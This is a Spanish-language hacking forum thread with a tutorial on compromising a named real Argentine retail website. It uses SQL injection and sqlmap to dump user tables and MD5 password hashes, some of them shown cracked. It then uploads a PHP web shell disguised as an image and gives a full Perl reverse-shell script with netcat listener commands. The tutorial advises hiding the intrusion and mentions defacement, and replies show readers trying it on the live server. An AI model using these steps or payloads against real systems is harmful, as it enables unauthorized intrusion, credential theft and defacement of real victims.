Intrusión a un Servidor Por SQLi y Obtener shell

Iniciado por Muppet, Junio 22, 2012, 01:39:55 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Junio 22, 2012, 01:39:55 AM Ultima modificación: Agosto 16, 2014, 10:35:09 AM por Expermicid
Intrucion a un Servidor Por Sqli y Obtener shell Remota

1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)

Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.

1) Conceptos Basicos de Netcat

Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)

Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados

Ncat -l -p "N" -vv "IP/Domain" -e "Commando"

Esta linea lo q hace es

-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd

Ncat -l -p 9669 -vv 192.168.1.58 -e cmd

Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)

Explicacion Grafica


PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"

Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente

Netcat Tambien se puede usar como Cliente de la siguiente manera

Ncat -vv "IP" "Puerto"

De esta manera Ncat se conectara a la IP:PUERTO deseado

2) Primero q nada que es una vulnerabilidad SQL

Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre

Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce

EL SOURCE:

<%
usuario=request.form("usuario")
pass=request.form("pass")

sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>

Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"

Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE

Ej

Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true

SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='

esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password

Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.

Como buscar una pagina vulnerable a SQLi

Existe Muchos Dorks de busqueda en Google un ejemplo seria

inurl:*.php?*=* site:.com.ar

Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar

Vamos a un Ejemplo Practico



www.cetrogar.com.ar/result.php?cat=6

Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta'

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1



Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP

Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Nos vamos a Sqlmap



Parametros Basicos

--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump

Siendo la web Injectable los parametros haran los siguiente

--url="Establecer URL Y MODULO Injectable" (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla

Ejemplos

sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --dbs

Esto nos devolvera Todas las bases de datos q corren en la web

available databases [2]:
  • cetrogar
  • information_schema



    Seleccionamos la Base de Datos Cetrogar y pedimos q nos devuelva sus tablas de la siguiente manera

    sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -D cetrogar --tables

    Nos Mostrara lo siguiente:


    | activadores                           
    | actualizacion_concurso           
    | bancos_tarjetas                     
    | beneficios_novios                   
    | casamientos                           
    | casamientos_articulos             
    | categorias                             
    | cetre_productosbackup         
    | cetro_productos                     
    | cetro_productos_cosquin       
    | cetro_productos_jesusmaria   
    | cetro_productos_mayo           
    | cetro_productos_tostado       
    | cetro_usuarios                     
    | cetroplus_categoria               
    | cetroplus_productos             
    | envio                             
    | envio_postales                   
    | gerentes                           
    | grupos_concurso               
    | grupos_vendedores           
    | localidad                         
    | log                               
    | marcas                           
    | novedades                     
    | origen                           
    | origenesexcel                 
    | pais                               
    | participantes_concursomama   
    | postales                           
    | premios                           
    | premios_aperturasuc           
    | premios_aperturasuc2         
    | premios_morteros               
    | premios_participantes         
    | premios_participantes_aperturasuc
    | premios_participantes_aperturasuc2
    | premios_participantes_morteros     
    | productos                         
    | promo_ganantodos                   
    | promociones                       
    | provincia                         
    | puntos_cetroplus                   
    | subcategorias                     
    | subproductos                     
    | sucursales                         
    | usuarios                           
    | usuarios_cetroplus                 
    | usuarios_concurso                 
    | vendedores_mensual                 
    | vendedores_trimestral             




    Aqui la magia Nos Interesa la tabla usuarios vamos a ver q tiene dentro de la siguiente manera

    sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -D cetrogar -T usuarios --columns

    Nos devolvera:

    +--------------+----------------------+
    | Column       | Type                     |
    +--------------+----------------------+
    | ID                | smallint(6) unsigned |
    | nivel_acceso | smallint(4) unsigned |
    | pass             | tinytext                    |
    | usuario         | tinytext                   |
    +--------------+----------------------+

    y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior


    sudo ./sqlmap.py --url="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" --proxy="No tienes permitido ver los links. Registrarse o Entrar a mi cuenta" -D cetrogar -T usuarios --dump

    +----+--------------+-------------------------------------------+-----------+
    | ID | nivel_acceso | pass                                               | usuario   |
    +----+--------------+-------------------------------------------+-----------+
    | 8  | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro|
    | 7  | 0| 992112e53d3eb06c6bb87701a4574052           | silvanac |
    | 6  | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78              | fernando|
    | 5  | 0| 34e09b9b490217de9c31f528a2a8a57d            | rocioc     |
    | 3  | 0| 1d96afbde5ac96a4b3d9814030f541c5             | marianoq|
    | 2  | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n)  | Admin |
    +----+--------------+-------------------------------------------+-----------+



    Bueno ya teniendo Usuario y Password (desencriptado md5) de Administrador lo q nos queda ahora es encontrar el AdminPanel
    (ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    y aca nos aparece nuestro querido panel de logeo



    Ingresamos los datos correspondiente mente y accedemos
    (Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)

    Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
    Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

    (Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
    Siendo:
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
    donde se almacenan las fotos

    Subimos Nuetras phpshell



    y volvemos a subir la foto original (respaldo para q no cantara)
    ya que si no lo hacemos la imagen aparecera como rota



    Una ves Hecho esto accedemos al directorio donde se suben las imagenes seguida de nuestra shell (en mi caso ee12.php)
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



    Nos queda subir una ReverseShell en algun codigo de programacion yo eleji Perl y aca el Source:

    #!/usr/bin/perl

    use IO::Socket;

    print q(

    ============
    HD_Breaker
    ============
    );
    $ARGC = @ARGV;
    if ($ARGC != 3){
    print "\nUsage: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta <HOST> <PORT> <OS>";
    exit(0);
    }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $OS = $ARGV[2];
    use Socket;

    print "
  • Connecting to $host ...";
    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
    || die "[-] Cannot Resolve $host";
    connect(SOCKET, sockaddr_in($port, inet_aton($host)))
    || die "[-] Cannot Connect to $host";

    print "\n
  • Connected!";

    open(STDIN, ">&SOCKET");
    open(STDOUT,">&SOCKET");
    open(STDERR,">&SOCKET");

    print "\n .::Powered By HD_Breaker";
    if ($OS == "-l"){
    $ejecutor = "/bin/bash";
    system($ejecutor);
    }

    if ($OS == "-w"){
    $ejecutor = "cmd";
    system($ejecutor);
    }


    subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell




    He aqui el porq este Tutorial Empeso por el uso de Netcat

    Abrimos Nuestra consona y ponemos a la escucha un puerto

    Ncat -l -p 9669 -vv 192.168.1.2



    y ejecutamos el ReverseShell desde nuestra phpshell



    y ya tenemos una shell Resta Escalar los priviligios o simplemete hacer un deface



    Demas Esta Decir que la apertura de puertos y el Forwarding de los mismos corre por cuenta del lector

    Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.

    HD_Breaker

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Buen aporte, lo muevo a Bugs y  Exploits que está mejor alli.
Un saludo y gracias! ;)
Twitter: @The_Pr0ph3t
[email protected]

Excelente aporte bro... muy bien Explicado!


+1


Saludos,
Dedalo
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

gracias, es un tutorial basico pero muy bien explicado.
Una pregunta, por que casi nunca se me conectan los host al netcat? tengo los puertos abiertos y he probado con el comando nc y con el Ncat tambíen, y mu rara vez se me conecta, siempre con el firewall desactivado.
puede ser que el servidor tenga bloqueados los puertos y no puedo usar cualquiera?
Saludos

Tenes q usar numeros de puertos altos en el netcat,  si no tienes una ip fija debes correr algun servicio como No-Ip o DynDns para mantener tu ip Dynamica aputando a un host, y tener los puertos q abris con netcat en tu pc, abiertos en el modem/router.

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

he probado con los puertos 888 y 31337 también, aquí te dejo la prueba de que está abierto:



y el netcat lo dejo asi:

Saludos y gracias

oye bro una sugerencia, x q no subes el tuto en pdf para que se haga mas facil la lectura offline

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
he probado con los puertos 888 y 31337 también, aquí te dejo la prueba de que está abierto:



y el netcat lo dejo asi:

Saludos y gracias

Caundo usas el reverse shell apuntas a tu no-ip, dyndns, etc??

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

Es un excelente aporte hdbreaker!! Segui asi!!


Que onda man! bueno andaba probando y mire tu shell pero no pude entrar aunque los datos para entrar a tu shell fueran user y pass no pude! pero bueno entonces lo que hice fue en la shell que estaba utilizando la c99 le di en bind ahi dice para conectarse bind o backconnect bueno intente con el backconnect pero nada! entonces intente con la bind y cuando estoy conectandome en el netcat me manda conecction refused!
delta.xxxxxxxxx.com.ar [176.31.77.xxx] 11xxx (?): connection refused
Me podrias decir que puedo hacer!
ah por cierto quise intentar subir el reversheshell que pusistes en el server pero no lo encontre no me lo da en el directorio me podrias pasar el nombre de tu shell? para probar igualmente gracias me parecio interesante el articulo y quise probar je! saludos
Pentest - Hacking & Security Services

Contact me: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Que onda man! bueno andaba probando y mire tu shell pero no pude entrar aunque los datos para entrar a tu shell fueran user y pass no pude! pero bueno entonces lo que hice fue en la shell que estaba utilizando la c99 le di en bind ahi dice para conectarse bind o backconnect bueno intente con el backconnect pero nada! entonces intente con la bind y cuando estoy conectandome en el netcat me manda conecction refused!
delta.xxxxxxxxx.com.ar [176.31.77.xxx] 11xxx (?): connection refused
Me podrias decir que puedo hacer!
ah por cierto quise intentar subir el reversheshell que pusistes en el server pero no lo encontre no me lo da en el directorio me podrias pasar el nombre de tu shell? para probar igualmente gracias me parecio interesante el articulo y quise probar je! saludos

Con un bind coneccion muy rara ves vas a tener shell, ya que depende de q el puerto este desocupado y al mismo tiempo abierto en el router/modem cosa q muy rara vez pasa, y la reverse shell q puse esta en perl y la tienes q ejecutar con, perl host puerto -l (para linux) -w (para windows)

Entonces él dijo, "cruzad con vuestras tropas y atacad porque es lo único que le queda a nuestro pueblo...".

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Caundo usas el reverse shell apuntas a tu no-ip, dyndns, etc??
Apunto a mi ip directamente, ya que rara vez reinicio el router y casi siempre tengo la misma